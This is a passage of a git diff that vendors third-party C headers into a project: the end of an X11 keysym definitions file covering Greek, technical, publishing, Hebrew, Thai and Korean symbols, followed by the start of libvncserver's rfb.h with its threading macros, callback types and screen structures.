XK_Greek_ALPHAaccent 0x7a1 +#define XK_Greek_EPSILONaccent 0x7a2 +#define XK_Greek_ETAaccent 0x7a3 +#define XK_Greek_IOTAaccent 0x7a4 +#define XK_Greek_IOTAdieresis 0x7a5 +#define XK_Greek_OMICRONaccent 0x7a7 +#define XK_Greek_UPSILONaccent 0x7a8 +#define XK_Greek_UPSILONdieresis 0x7a9 +#define XK_Greek_OMEGAaccent 0x7ab +#define XK_Greek_accentdieresis 0x7ae +#define XK_Greek_horizbar 0x7af +#define XK_Greek_alphaaccent 0x7b1 +#define XK_Greek_epsilonaccent 0x7b2 +#define XK_Greek_etaaccent 0x7b3 +#define XK_Greek_iotaaccent 0x7b4 +#define XK_Greek_iotadieresis 0x7b5 +#define XK_Greek_iotaaccentdieresis 0x7b6 +#define XK_Greek_omicronaccent 0x7b7 +#define XK_Greek_upsilonaccent 0x7b8 +#define XK_Greek_upsilondieresis 0x7b9 +#define XK_Greek_upsilonaccentdieresis 0x7ba +#define XK_Greek_omegaaccent 0x7bb +#define XK_Greek_ALPHA 0x7c1 +#define XK_Greek_BETA 0x7c2 +#define XK_Greek_GAMMA 0x7c3 +#define XK_Greek_DELTA 0x7c4 +#define XK_Greek_EPSILON 0x7c5 +#define XK_Greek_ZETA 0x7c6 +#define XK_Greek_ETA 0x7c7 +#define XK_Greek_THETA 0x7c8 +#define XK_Greek_IOTA 0x7c9 +#define XK_Greek_KAPPA 0x7ca +#define XK_Greek_LAMDA 0x7cb +#define XK_Greek_LAMBDA 0x7cb +#define XK_Greek_MU 0x7cc +#define XK_Greek_NU 0x7cd +#define XK_Greek_XI 0x7ce +#define XK_Greek_OMICRON 0x7cf +#define XK_Greek_PI 0x7d0 +#define XK_Greek_RHO 0x7d1 +#define XK_Greek_SIGMA 0x7d2 +#define XK_Greek_TAU 0x7d4 +#define XK_Greek_UPSILON 0x7d5 +#define XK_Greek_PHI 0x7d6 +#define XK_Greek_CHI 0x7d7 +#define XK_Greek_PSI 0x7d8 +#define XK_Greek_OMEGA 0x7d9 +#define XK_Greek_alpha 0x7e1 +#define XK_Greek_beta 0x7e2 +#define XK_Greek_gamma 0x7e3 +#define XK_Greek_delta 0x7e4 +#define XK_Greek_epsilon 0x7e5 +#define XK_Greek_zeta 0x7e6 +#define XK_Greek_eta 0x7e7 +#define XK_Greek_theta 0x7e8 +#define XK_Greek_iota 0x7e9 +#define XK_Greek_kappa 0x7ea +#define XK_Greek_lamda 0x7eb +#define XK_Greek_lambda 0x7eb +#define XK_Greek_mu 0x7ec +#define XK_Greek_nu 0x7ed +#define XK_Greek_xi 0x7ee +#define XK_Greek_omicron 0x7ef +#define XK_Greek_pi 0x7f0 +#define XK_Greek_rho 0x7f1 +#define XK_Greek_sigma 0x7f2 +#define XK_Greek_finalsmallsigma 0x7f3 +#define XK_Greek_tau 0x7f4 +#define XK_Greek_upsilon 0x7f5 +#define XK_Greek_phi 0x7f6 +#define XK_Greek_chi 0x7f7 +#define XK_Greek_psi 0x7f8 +#define XK_Greek_omega 0x7f9 +#define XK_Greek_switch 0xFF7E /* Alias for mode_switch */ +#endif /* XK_GREEK */ + +/* + * Technical + * Byte 3 = 8 + */ + +#ifdef XK_TECHNICAL +#define XK_leftradical 0x8a1 +#define XK_topleftradical 0x8a2 +#define XK_horizconnector 0x8a3 +#define XK_topintegral 0x8a4 +#define XK_botintegral 0x8a5 +#define XK_vertconnector 0x8a6 +#define XK_topleftsqbracket 0x8a7 +#define XK_botleftsqbracket 0x8a8 +#define XK_toprightsqbracket 0x8a9 +#define XK_botrightsqbracket 0x8aa +#define XK_topleftparens 0x8ab +#define XK_botleftparens 0x8ac +#define XK_toprightparens 0x8ad +#define XK_botrightparens 0x8ae +#define XK_leftmiddlecurlybrace 0x8af +#define XK_rightmiddlecurlybrace 0x8b0 +#define XK_topleftsummation 0x8b1 +#define XK_botleftsummation 0x8b2 +#define XK_topvertsummationconnector 0x8b3 +#define XK_botvertsummationconnector 0x8b4 +#define XK_toprightsummation 0x8b5 +#define XK_botrightsummation 0x8b6 +#define XK_rightmiddlesummation 0x8b7 +#define XK_lessthanequal 0x8bc +#define XK_notequal 0x8bd +#define XK_greaterthanequal 0x8be +#define XK_integral 0x8bf +#define XK_therefore 0x8c0 +#define XK_variation 0x8c1 +#define XK_infinity 0x8c2 +#define XK_nabla 0x8c5 +#define XK_approximate 0x8c8 +#define XK_similarequal 0x8c9 +#define XK_ifonlyif 0x8cd +#define XK_implies 0x8ce +#define XK_identical 0x8cf +#define XK_radical 0x8d6 +#define XK_includedin 0x8da +#define XK_includes 0x8db +#define XK_intersection 0x8dc +#define XK_union 0x8dd +#define XK_logicaland 0x8de +#define XK_logicalor 0x8df +#define XK_partialderivative 0x8ef +#define XK_function 0x8f6 +#define XK_leftarrow 0x8fb +#define XK_uparrow 0x8fc +#define XK_rightarrow 0x8fd +#define XK_downarrow 0x8fe +#endif /* XK_TECHNICAL */ + +/* + * Special + * Byte 3 = 9 + */ + +#ifdef XK_SPECIAL +#define XK_blank 0x9df +#define XK_soliddiamond 0x9e0 +#define XK_checkerboard 0x9e1 +#define XK_ht 0x9e2 +#define XK_ff 0x9e3 +#define XK_cr 0x9e4 +#define XK_lf 0x9e5 +#define XK_nl 0x9e8 +#define XK_vt 0x9e9 +#define XK_lowrightcorner 0x9ea +#define XK_uprightcorner 0x9eb +#define XK_upleftcorner 0x9ec +#define XK_lowleftcorner 0x9ed +#define XK_crossinglines 0x9ee +#define XK_horizlinescan1 0x9ef +#define XK_horizlinescan3 0x9f0 +#define XK_horizlinescan5 0x9f1 +#define XK_horizlinescan7 0x9f2 +#define XK_horizlinescan9 0x9f3 +#define XK_leftt 0x9f4 +#define XK_rightt 0x9f5 +#define XK_bott 0x9f6 +#define XK_topt 0x9f7 +#define XK_vertbar 0x9f8 +#endif /* XK_SPECIAL */ + +/* + * Publishing + * Byte 3 = a + */ + +#ifdef XK_PUBLISHING +#define XK_emspace 0xaa1 +#define XK_enspace 0xaa2 +#define XK_em3space 0xaa3 +#define XK_em4space 0xaa4 +#define XK_digitspace 0xaa5 +#define XK_punctspace 0xaa6 +#define XK_thinspace 0xaa7 +#define XK_hairspace 0xaa8 +#define XK_emdash 0xaa9 +#define XK_endash 0xaaa +#define XK_signifblank 0xaac +#define XK_ellipsis 0xaae +#define XK_doubbaselinedot 0xaaf +#define XK_onethird 0xab0 +#define XK_twothirds 0xab1 +#define XK_onefifth 0xab2 +#define XK_twofifths 0xab3 +#define XK_threefifths 0xab4 +#define XK_fourfifths 0xab5 +#define XK_onesixth 0xab6 +#define XK_fivesixths 0xab7 +#define XK_careof 0xab8 +#define XK_figdash 0xabb +#define XK_leftanglebracket 0xabc +#define XK_decimalpoint 0xabd +#define XK_rightanglebracket 0xabe +#define XK_marker 0xabf +#define XK_oneeighth 0xac3 +#define XK_threeeighths 0xac4 +#define XK_fiveeighths 0xac5 +#define XK_seveneighths 0xac6 +#define XK_trademark 0xac9 +#define XK_signaturemark 0xaca +#define XK_trademarkincircle 0xacb +#define XK_leftopentriangle 0xacc +#define XK_rightopentriangle 0xacd +#define XK_emopencircle 0xace +#define XK_emopenrectangle 0xacf +#define XK_leftsinglequotemark 0xad0 +#define XK_rightsinglequotemark 0xad1 +#define XK_leftdoublequotemark 0xad2 +#define XK_rightdoublequotemark 0xad3 +#define XK_prescription 0xad4 +#define XK_minutes 0xad6 +#define XK_seconds 0xad7 +#define XK_latincross 0xad9 +#define XK_hexagram 0xada +#define XK_filledrectbullet 0xadb +#define XK_filledlefttribullet 0xadc +#define XK_filledrighttribullet 0xadd +#define XK_emfilledcircle 0xade +#define XK_emfilledrect 0xadf +#define XK_enopencircbullet 0xae0 +#define XK_enopensquarebullet 0xae1 +#define XK_openrectbullet 0xae2 +#define XK_opentribulletup 0xae3 +#define XK_opentribulletdown 0xae4 +#define XK_openstar 0xae5 +#define XK_enfilledcircbullet 0xae6 +#define XK_enfilledsqbullet 0xae7 +#define XK_filledtribulletup 0xae8 +#define XK_filledtribulletdown 0xae9 +#define XK_leftpointer 0xaea +#define XK_rightpointer 0xaeb +#define XK_club 0xaec +#define XK_diamond 0xaed +#define XK_heart 0xaee +#define XK_maltesecross 0xaf0 +#define XK_dagger 0xaf1 +#define XK_doubledagger 0xaf2 +#define XK_checkmark 0xaf3 +#define XK_ballotcross 0xaf4 +#define XK_musicalsharp 0xaf5 +#define XK_musicalflat 0xaf6 +#define XK_malesymbol 0xaf7 +#define XK_femalesymbol 0xaf8 +#define XK_telephone 0xaf9 +#define XK_telephonerecorder 0xafa +#define XK_phonographcopyright 0xafb +#define XK_caret 0xafc +#define XK_singlelowquotemark 0xafd +#define XK_doublelowquotemark 0xafe +#define XK_cursor 0xaff +#endif /* XK_PUBLISHING */ + +/* + * APL + * Byte 3 = b + */ + +#ifdef XK_APL +#define XK_leftcaret 0xba3 +#define XK_rightcaret 0xba6 +#define XK_downcaret 0xba8 +#define XK_upcaret 0xba9 +#define XK_overbar 0xbc0 +#define XK_downtack 0xbc2 +#define XK_upshoe 0xbc3 +#define XK_downstile 0xbc4 +#define XK_underbar 0xbc6 +#define XK_jot 0xbca +#define XK_quad 0xbcc +#define XK_uptack 0xbce +#define XK_circle 0xbcf +#define XK_upstile 0xbd3 +#define XK_downshoe 0xbd6 +#define XK_rightshoe 0xbd8 +#define XK_leftshoe 0xbda +#define XK_lefttack 0xbdc +#define XK_righttack 0xbfc +#endif /* XK_APL */ + +/* + * Hebrew + * Byte 3 = c + */ + +#ifdef XK_HEBREW +#define XK_hebrew_doublelowline 0xcdf +#define XK_hebrew_aleph 0xce0 +#define XK_hebrew_bet 0xce1 +#define XK_hebrew_beth 0xce1 /* deprecated */ +#define XK_hebrew_gimel 0xce2 +#define XK_hebrew_gimmel 0xce2 /* deprecated */ +#define XK_hebrew_dalet 0xce3 +#define XK_hebrew_daleth 0xce3 /* deprecated */ +#define XK_hebrew_he 0xce4 +#define XK_hebrew_waw 0xce5 +#define XK_hebrew_zain 0xce6 +#define XK_hebrew_zayin 0xce6 /* deprecated */ +#define XK_hebrew_chet 0xce7 +#define XK_hebrew_het 0xce7 /* deprecated */ +#define XK_hebrew_tet 0xce8 +#define XK_hebrew_teth 0xce8 /* deprecated */ +#define XK_hebrew_yod 0xce9 +#define XK_hebrew_finalkaph 0xcea +#define XK_hebrew_kaph 0xceb +#define XK_hebrew_lamed 0xcec +#define XK_hebrew_finalmem 0xced +#define XK_hebrew_mem 0xcee +#define XK_hebrew_finalnun 0xcef +#define XK_hebrew_nun 0xcf0 +#define XK_hebrew_samech 0xcf1 +#define XK_hebrew_samekh 0xcf1 /* deprecated */ +#define XK_hebrew_ayin 0xcf2 +#define XK_hebrew_finalpe 0xcf3 +#define XK_hebrew_pe 0xcf4 +#define XK_hebrew_finalzade 0xcf5 +#define XK_hebrew_finalzadi 0xcf5 /* deprecated */ +#define XK_hebrew_zade 0xcf6 +#define XK_hebrew_zadi 0xcf6 /* deprecated */ +#define XK_hebrew_qoph 0xcf7 +#define XK_hebrew_kuf 0xcf7 /* deprecated */ +#define XK_hebrew_resh 0xcf8 +#define XK_hebrew_shin 0xcf9 +#define XK_hebrew_taw 0xcfa +#define XK_hebrew_taf 0xcfa /* deprecated */ +#define XK_Hebrew_switch 0xFF7E /* Alias for mode_switch */ +#endif /* XK_HEBREW */ + +/* + * Thai + * Byte 3 = d + */ + +#ifdef XK_THAI +#define XK_Thai_kokai 0xda1 +#define XK_Thai_khokhai 0xda2 +#define XK_Thai_khokhuat 0xda3 +#define XK_Thai_khokhwai 0xda4 +#define XK_Thai_khokhon 0xda5 +#define XK_Thai_khorakhang 0xda6 +#define XK_Thai_ngongu 0xda7 +#define XK_Thai_chochan 0xda8 +#define XK_Thai_choching 0xda9 +#define XK_Thai_chochang 0xdaa +#define XK_Thai_soso 0xdab +#define XK_Thai_chochoe 0xdac +#define XK_Thai_yoying 0xdad +#define XK_Thai_dochada 0xdae +#define XK_Thai_topatak 0xdaf +#define XK_Thai_thothan 0xdb0 +#define XK_Thai_thonangmontho 0xdb1 +#define XK_Thai_thophuthao 0xdb2 +#define XK_Thai_nonen 0xdb3 +#define XK_Thai_dodek 0xdb4 +#define XK_Thai_totao 0xdb5 +#define XK_Thai_thothung 0xdb6 +#define XK_Thai_thothahan 0xdb7 +#define XK_Thai_thothong 0xdb8 +#define XK_Thai_nonu 0xdb9 +#define XK_Thai_bobaimai 0xdba +#define XK_Thai_popla 0xdbb +#define XK_Thai_phophung 0xdbc +#define XK_Thai_fofa 0xdbd +#define XK_Thai_phophan 0xdbe +#define XK_Thai_fofan 0xdbf +#define XK_Thai_phosamphao 0xdc0 +#define XK_Thai_moma 0xdc1 +#define XK_Thai_yoyak 0xdc2 +#define XK_Thai_rorua 0xdc3 +#define XK_Thai_ru 0xdc4 +#define XK_Thai_loling 0xdc5 +#define XK_Thai_lu 0xdc6 +#define XK_Thai_wowaen 0xdc7 +#define XK_Thai_sosala 0xdc8 +#define XK_Thai_sorusi 0xdc9 +#define XK_Thai_sosua 0xdca +#define XK_Thai_hohip 0xdcb +#define XK_Thai_lochula 0xdcc +#define XK_Thai_oang 0xdcd +#define XK_Thai_honokhuk 0xdce +#define XK_Thai_paiyannoi 0xdcf +#define XK_Thai_saraa 0xdd0 +#define XK_Thai_maihanakat 0xdd1 +#define XK_Thai_saraaa 0xdd2 +#define XK_Thai_saraam 0xdd3 +#define XK_Thai_sarai 0xdd4 +#define XK_Thai_saraii 0xdd5 +#define XK_Thai_saraue 0xdd6 +#define XK_Thai_sarauee 0xdd7 +#define XK_Thai_sarau 0xdd8 +#define XK_Thai_sarauu 0xdd9 +#define XK_Thai_phinthu 0xdda +#define XK_Thai_maihanakat_maitho 0xdde +#define XK_Thai_baht 0xddf +#define XK_Thai_sarae 0xde0 +#define XK_Thai_saraae 0xde1 +#define XK_Thai_sarao 0xde2 +#define XK_Thai_saraaimaimuan 0xde3 +#define XK_Thai_saraaimaimalai 0xde4 +#define XK_Thai_lakkhangyao 0xde5 +#define XK_Thai_maiyamok 0xde6 +#define XK_Thai_maitaikhu 0xde7 +#define XK_Thai_maiek 0xde8 +#define XK_Thai_maitho 0xde9 +#define XK_Thai_maitri 0xdea +#define XK_Thai_maichattawa 0xdeb +#define XK_Thai_thanthakhat 0xdec +#define XK_Thai_nikhahit 0xded +#define XK_Thai_leksun 0xdf0 +#define XK_Thai_leknung 0xdf1 +#define XK_Thai_leksong 0xdf2 +#define XK_Thai_leksam 0xdf3 +#define XK_Thai_leksi 0xdf4 +#define XK_Thai_lekha 0xdf5 +#define XK_Thai_lekhok 0xdf6 +#define XK_Thai_lekchet 0xdf7 +#define XK_Thai_lekpaet 0xdf8 +#define XK_Thai_lekkao 0xdf9 +#endif /* XK_THAI */ + +/* + * Korean + * Byte 3 = e + */ + +#ifdef XK_KOREAN + +#define XK_Hangul 0xff31 /* Hangul start/stop(toggle) */ +#define XK_Hangul_Start 0xff32 /* Hangul start */ +#define XK_Hangul_End 0xff33 /* Hangul end, English start */ +#define XK_Hangul_Hanja 0xff34 /* Start Hangul->Hanja Conversion */ +#define XK_Hangul_Jamo 0xff35 /* Hangul Jamo mode */ +#define XK_Hangul_Romaja 0xff36 /* Hangul Romaja mode */ +#define XK_Hangul_Codeinput 0xff37 /* Hangul code input mode */ +#define XK_Hangul_Jeonja 0xff38 /* Jeonja mode */ +#define XK_Hangul_Banja 0xff39 /* Banja mode */ +#define XK_Hangul_PreHanja 0xff3a /* Pre Hanja conversion */ +#define XK_Hangul_PostHanja 0xff3b /* Post Hanja conversion */ +#define XK_Hangul_SingleCandidate 0xff3c /* Single candidate */ +#define XK_Hangul_MultipleCandidate 0xff3d /* Multiple candidate */ +#define XK_Hangul_PreviousCandidate 0xff3e /* Previous candidate */ +#define XK_Hangul_Special 0xff3f /* Special symbols */ +#define XK_Hangul_switch 0xFF7E /* Alias for mode_switch */ + +/* Hangul Consonant Characters */ +#define XK_Hangul_Kiyeog 0xea1 +#define XK_Hangul_SsangKiyeog 0xea2 +#define XK_Hangul_KiyeogSios 0xea3 +#define XK_Hangul_Nieun 0xea4 +#define XK_Hangul_NieunJieuj 0xea5 +#define XK_Hangul_NieunHieuh 0xea6 +#define XK_Hangul_Dikeud 0xea7 +#define XK_Hangul_SsangDikeud 0xea8 +#define XK_Hangul_Rieul 0xea9 +#define XK_Hangul_RieulKiyeog 0xeaa +#define XK_Hangul_RieulMieum 0xeab +#define XK_Hangul_RieulPieub 0xeac +#define XK_Hangul_RieulSios 0xead +#define XK_Hangul_RieulTieut 0xeae +#define XK_Hangul_RieulPhieuf 0xeaf +#define XK_Hangul_RieulHieuh 0xeb0 +#define XK_Hangul_Mieum 0xeb1 +#define XK_Hangul_Pieub 0xeb2 +#define XK_Hangul_SsangPieub 0xeb3 +#define XK_Hangul_PieubSios 0xeb4 +#define XK_Hangul_Sios 0xeb5 +#define XK_Hangul_SsangSios 0xeb6 +#define XK_Hangul_Ieung 0xeb7 +#define XK_Hangul_Jieuj 0xeb8 +#define XK_Hangul_SsangJieuj 0xeb9 +#define XK_Hangul_Cieuc 0xeba +#define XK_Hangul_Khieuq 0xebb +#define XK_Hangul_Tieut 0xebc +#define XK_Hangul_Phieuf 0xebd +#define XK_Hangul_Hieuh 0xebe + +/* Hangul Vowel Characters */ +#define XK_Hangul_A 0xebf +#define XK_Hangul_AE 0xec0 +#define XK_Hangul_YA 0xec1 +#define XK_Hangul_YAE 0xec2 +#define XK_Hangul_EO 0xec3 +#define XK_Hangul_E 0xec4 +#define XK_Hangul_YEO 0xec5 +#define XK_Hangul_YE 0xec6 +#define XK_Hangul_O 0xec7 +#define XK_Hangul_WA 0xec8 +#define XK_Hangul_WAE 0xec9 +#define XK_Hangul_OE 0xeca +#define XK_Hangul_YO 0xecb +#define XK_Hangul_U 0xecc +#define XK_Hangul_WEO 0xecd +#define XK_Hangul_WE 0xece +#define XK_Hangul_WI 0xecf +#define XK_Hangul_YU 0xed0 +#define XK_Hangul_EU 0xed1 +#define XK_Hangul_YI 0xed2 +#define XK_Hangul_I 0xed3 + +/* Hangul syllable-final (JongSeong) Characters */ +#define XK_Hangul_J_Kiyeog 0xed4 +#define XK_Hangul_J_SsangKiyeog 0xed5 +#define XK_Hangul_J_KiyeogSios 0xed6 +#define XK_Hangul_J_Nieun 0xed7 +#define XK_Hangul_J_NieunJieuj 0xed8 +#define XK_Hangul_J_NieunHieuh 0xed9 +#define XK_Hangul_J_Dikeud 0xeda +#define XK_Hangul_J_Rieul 0xedb +#define XK_Hangul_J_RieulKiyeog 0xedc +#define XK_Hangul_J_RieulMieum 0xedd +#define XK_Hangul_J_RieulPieub 0xede +#define XK_Hangul_J_RieulSios 0xedf +#define XK_Hangul_J_RieulTieut 0xee0 +#define XK_Hangul_J_RieulPhieuf 0xee1 +#define XK_Hangul_J_RieulHieuh 0xee2 +#define XK_Hangul_J_Mieum 0xee3 +#define XK_Hangul_J_Pieub 0xee4 +#define XK_Hangul_J_PieubSios 0xee5 +#define XK_Hangul_J_Sios 0xee6 +#define XK_Hangul_J_SsangSios 0xee7 +#define XK_Hangul_J_Ieung 0xee8 +#define XK_Hangul_J_Jieuj 0xee9 +#define XK_Hangul_J_Cieuc 0xeea +#define XK_Hangul_J_Khieuq 0xeeb +#define XK_Hangul_J_Tieut 0xeec +#define XK_Hangul_J_Phieuf 0xeed +#define XK_Hangul_J_Hieuh 0xeee + +/* Ancient Hangul Consonant Characters */ +#define XK_Hangul_RieulYeorinHieuh 0xeef +#define XK_Hangul_SunkyeongeumMieum 0xef0 +#define XK_Hangul_SunkyeongeumPieub 0xef1 +#define XK_Hangul_PanSios 0xef2 +#define XK_Hangul_KkogjiDalrinIeung 0xef3 +#define XK_Hangul_SunkyeongeumPhieuf 0xef4 +#define XK_Hangul_YeorinHieuh 0xef5 + +/* Ancient Hangul Vowel Characters */ +#define XK_Hangul_AraeA 0xef6 +#define XK_Hangul_AraeAE 0xef7 + +/* Ancient Hangul syllable-final (JongSeong) Characters */ +#define XK_Hangul_J_PanSios 0xef8 +#define XK_Hangul_J_KkogjiDalrinIeung 0xef9 +#define XK_Hangul_J_YeorinHieuh 0xefa + +/* Korean currency symbol */ +#define XK_Korean_Won 0xeff + +#endif /* XK_KOREAN */ + +/* Euro currency symbol */ +#define XK_EuroSign 0x20ac + +#endif diff --git a/3rdparty/libvncserver/rfb/rfb.h b/3rdparty/libvncserver/rfb/rfb.h new file mode 100644 index 0000000..3d6d31e --- /dev/null +++ b/3rdparty/libvncserver/rfb/rfb.h @@ -0,0 +1,1275 @@ +#ifndef RFB_H +#define RFB_H +/** + * @defgroup libvncserver_api LibVNCServer API Reference + * @{ + */ + +/** + * @file rfb.h + */ + +/* + * Copyright (C) 2005 Rohit Kumar , + * Johannes E. Schindelin + * Copyright (C) 2002 RealVNC Ltd. + * OSXvnc Copyright (C) 2001 Dan McGuirk . + * Original Xvnc code Copyright (C) 1999 AT&T Laboratories Cambridge. + * All Rights Reserved. + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#if(defined __cplusplus) +extern "C" +{ +#endif + +#include +#include +#include +#include + +#if defined(ANDROID) || defined(LIBVNCSERVER_HAVE_ANDROID) +#include +#include +#endif + +#ifdef LIBVNCSERVER_HAVE_SYS_TYPES_H +#include +#endif + +#ifdef WIN32 +#undef SOCKET +typedef UINT32 in_addr_t; +#include +#ifdef LIBVNCSERVER_HAVE_WS2TCPIP_H +#undef socklen_t +#include +#endif +#endif + +#ifdef LIBVNCSERVER_HAVE_LIBPTHREAD +#include +#if 0 /* debugging */ +#define LOCK(mutex) (rfbLog("%s:%d LOCK(%s,0x%x)\n",__FILE__,__LINE__,#mutex,&(mutex)), pthread_mutex_lock(&(mutex))) +#define UNLOCK(mutex) (rfbLog("%s:%d UNLOCK(%s,0x%x)\n",__FILE__,__LINE__,#mutex,&(mutex)), pthread_mutex_unlock(&(mutex))) +#define MUTEX(mutex) pthread_mutex_t (mutex) +#define INIT_MUTEX(mutex) (rfbLog("%s:%d INIT_MUTEX(%s,0x%x)\n",__FILE__,__LINE__,#mutex,&(mutex)), pthread_mutex_init(&(mutex),NULL)) +#define TINI_MUTEX(mutex) (rfbLog("%s:%d TINI_MUTEX(%s)\n",__FILE__,__LINE__,#mutex), pthread_mutex_destroy(&(mutex))) +#define TSIGNAL(cond) (rfbLog("%s:%d TSIGNAL(%s)\n",__FILE__,__LINE__,#cond), pthread_cond_signal(&(cond))) +#define WAIT(cond,mutex) (rfbLog("%s:%d WAIT(%s,%s)\n",__FILE__,__LINE__,#cond,#mutex), pthread_cond_wait(&(cond),&(mutex))) +#define COND(cond) pthread_cond_t (cond) +#define INIT_COND(cond) (rfbLog("%s:%d INIT_COND(%s)\n",__FILE__,__LINE__,#cond), pthread_cond_init(&(cond),NULL)) +#define TINI_COND(cond) (rfbLog("%s:%d TINI_COND(%s)\n",__FILE__,__LINE__,#cond), pthread_cond_destroy(&(cond))) +#define IF_PTHREADS(x) x +#else +#if !NONETWORK +#define LOCK(mutex) pthread_mutex_lock(&(mutex)); +#define UNLOCK(mutex) pthread_mutex_unlock(&(mutex)); +#endif +#define MUTEX(mutex) pthread_mutex_t (mutex) +#define INIT_MUTEX(mutex) pthread_mutex_init(&(mutex),NULL) +#define TINI_MUTEX(mutex) pthread_mutex_destroy(&(mutex)) +#define TSIGNAL(cond) pthread_cond_signal(&(cond)) +#define WAIT(cond,mutex) pthread_cond_wait(&(cond),&(mutex)) +#define COND(cond) pthread_cond_t (cond) +#define INIT_COND(cond) pthread_cond_init(&(cond),NULL) +#define TINI_COND(cond) pthread_cond_destroy(&(cond)) +#define IF_PTHREADS(x) x +#endif +#else +#define LOCK(mutex) +#define UNLOCK(mutex) +#define MUTEX(mutex) +#define INIT_MUTEX(mutex) +#define TINI_MUTEX(mutex) +#define TSIGNAL(cond) +#define WAIT(cond,mutex) this_is_unsupported +#define COND(cond) +#define INIT_COND(cond) +#define TINI_COND(cond) +#define IF_PTHREADS(x) +#endif + +/* end of stuff for autoconf */ + +/* if you use pthreads, but don't define LIBVNCSERVER_HAVE_LIBPTHREAD, the structs + get all mixed up. So this gives a linker error reminding you to compile + the library and your application (at least the parts including rfb.h) + with the same support for pthreads. */ +#ifdef LIBVNCSERVER_HAVE_LIBPTHREAD +#ifdef LIBVNCSERVER_HAVE_LIBZ +#define rfbInitServer rfbInitServerWithPthreadsAndZRLE +#else +#define rfbInitServer rfbInitServerWithPthreadsButWithoutZRLE +#endif +#else +#ifdef LIBVNCSERVER_HAVE_LIBZ +#define rfbInitServer rfbInitServerWithoutPthreadsButWithZRLE +#else +#define rfbInitServer rfbInitServerWithoutPthreadsAndZRLE +#endif +#endif + +struct _rfbClientRec; +struct _rfbScreenInfo; +struct rfbCursor; + +enum rfbNewClientAction { + RFB_CLIENT_ACCEPT, + RFB_CLIENT_ON_HOLD, + RFB_CLIENT_REFUSE +}; + +enum rfbSocketState { + RFB_SOCKET_INIT, + RFB_SOCKET_READY, + RFB_SOCKET_SHUTDOWN +}; + +typedef void (*rfbKbdAddEventProcPtr) (rfbBool down, rfbKeySym keySym, struct _rfbClientRec* cl); +typedef void (*rfbKbdReleaseAllKeysProcPtr) (struct _rfbClientRec* cl); +typedef void (*rfbPtrAddEventProcPtr) (int buttonMask, int x, int y, struct _rfbClientRec* cl); +typedef void (*rfbSetXCutTextProcPtr) (char* str,int len, struct _rfbClientRec* cl); +typedef struct rfbCursor* (*rfbGetCursorProcPtr) (struct _rfbClientRec* pScreen); +typedef rfbBool (*rfbSetTranslateFunctionProcPtr)(struct _rfbClientRec* cl); +typedef rfbBool (*rfbPasswordCheckProcPtr)(struct _rfbClientRec* cl,const char* encryptedPassWord,int len); +typedef enum rfbNewClientAction (*rfbNewClientHookPtr)(struct _rfbClientRec* cl); +typedef void (*rfbDisplayHookPtr)(struct _rfbClientRec* cl); +typedef void (*rfbDisplayFinishedHookPtr)(struct _rfbClientRec* cl, int result); +/** support the capability to view the caps/num/scroll states of the X server */ +typedef int (*rfbGetKeyboardLedStateHookPtr)(struct _rfbScreenInfo* screen); +typedef rfbBool (*rfbXvpHookPtr)(struct _rfbClientRec* cl, uint8_t, uint8_t); +/** + * If x==1 and y==1 then set the whole display + * else find the window underneath x and y and set the framebuffer to the dimensions + * of that window + */ +typedef void (*rfbSetSingleWindowProcPtr) (struct _rfbClientRec* cl, int x, int y); +/** + * Status determines if the X11 server permits input from the local user + * status==0 or 1 + */ +typedef void (*rfbSetServerInputProcPtr) (struct _rfbClientRec* cl, int status); +/** + * Permit the server to allow or deny filetransfers. This is defaulted to deny + * It is called when a client initiates a connection to determine if it is permitted. + */ +typedef int (*rfbFileTransferPermitted) (struct _rfbClientRec* cl); +/** Handle the textchat messages */ +typedef void (*rfbSetTextChat) (struct _rfbClientRec* cl, int length, char *string); + +typedef struct { + uint32_t count; + rfbBool is16; /**< is the data format short? */ + union { + uint8_t* bytes; + uint16_t* shorts; + } data; /**< there have to be count*3 entries */ +} rfbColourMap; + +/** + * Security handling (RFB protocol version 3.7) + */ + +typedef struct _rfbSecurity { + uint8_t type; + void (*handler)(struct _rfbClientRec* cl); + struct _rfbSecurity* next; +} rfbSecurityHandler; + +/** + * Protocol extension handling. + */ + +typedef struct _rfbProtocolExtension { + /** returns FALSE if extension should be deactivated for client. + if newClient == NULL, it is always deactivated. */ + rfbBool (*newClient)(struct _rfbClientRec* client, void** data); + /** returns FALSE if extension should be deactivated for client. + if init == NULL, it stays activated. */ + rfbBool (*init)(struct _rfbClientRec* client, void* data); + /** if pseudoEncodings is not NULL, it contains a 0 terminated + list of the pseudo encodings handled by this extension. */ + int *pseudoEncodings; + /** returns TRUE if that pseudo encoding is handled by the extension. + encodingNumber==0 means "reset encodings". */ + rfbBool (*enablePseudoEncoding)(struct _rfbClientRec* client, + void** data, int encodingNumber); + /** returns TRUE if message was handled */ + rfbBool (*handleMessage)(struct _rfbClientRec* client, + void* data, + const rfbClientToServerMsg* message); + void (*close)(struct _rfbClientRec* client, void* data); + void (*usage)(void); + /** processArguments returns the number of handled arguments */ + int (*processArgument)(int argc, char *argv[]); + struct _rfbProtocolExtension* next; +} rfbProtocolExtension; + +typedef struct _rfbExtensionData { + rfbProtocolExtension* extension; + void* data; + struct _rfbExtensionData* next; +} rfbExtensionData; + +/** + * Per-screen (framebuffer) structure. There can be as many as you wish, + * each serving different clients. However, you have to call + * rfbProcessEvents for each of these. + */ + +typedef struct _rfbScreenInfo +{ + /** this structure has children that are scaled versions of this screen */ + struct _rfbScreenInfo *scaledScreenNext; + int scaledScreenRefCount; + + int width; + int paddedWidthInBytes; + int height; + int depth; + int bitsPerPixel; + int sizeInBytes; + + rfbPixel blackPixel; + rfbPixel whitePixel; + + /** + * some screen specific data can be put into a struct where screenData + * points to. You need this if you have more than one screen at the + * same time while using the same functions. + */ + void* screenData; + + /* additions by libvncserver */ + + rfbPixelFormat serverFormat; + rfbColourMap colourMap; /**< set this if rfbServerFormat.trueColour==FALSE */ + const char* desktopName; + char thisHost[255]; + + rfbBool autoPort; + int port; + SOCKET listenSock; + int maxSock; + int maxFd; +#ifdef WIN32 + struct fd_set allFds; +#else + fd_set allFds; +#endif + + enum rfbSocketState socketState; + SOCKET 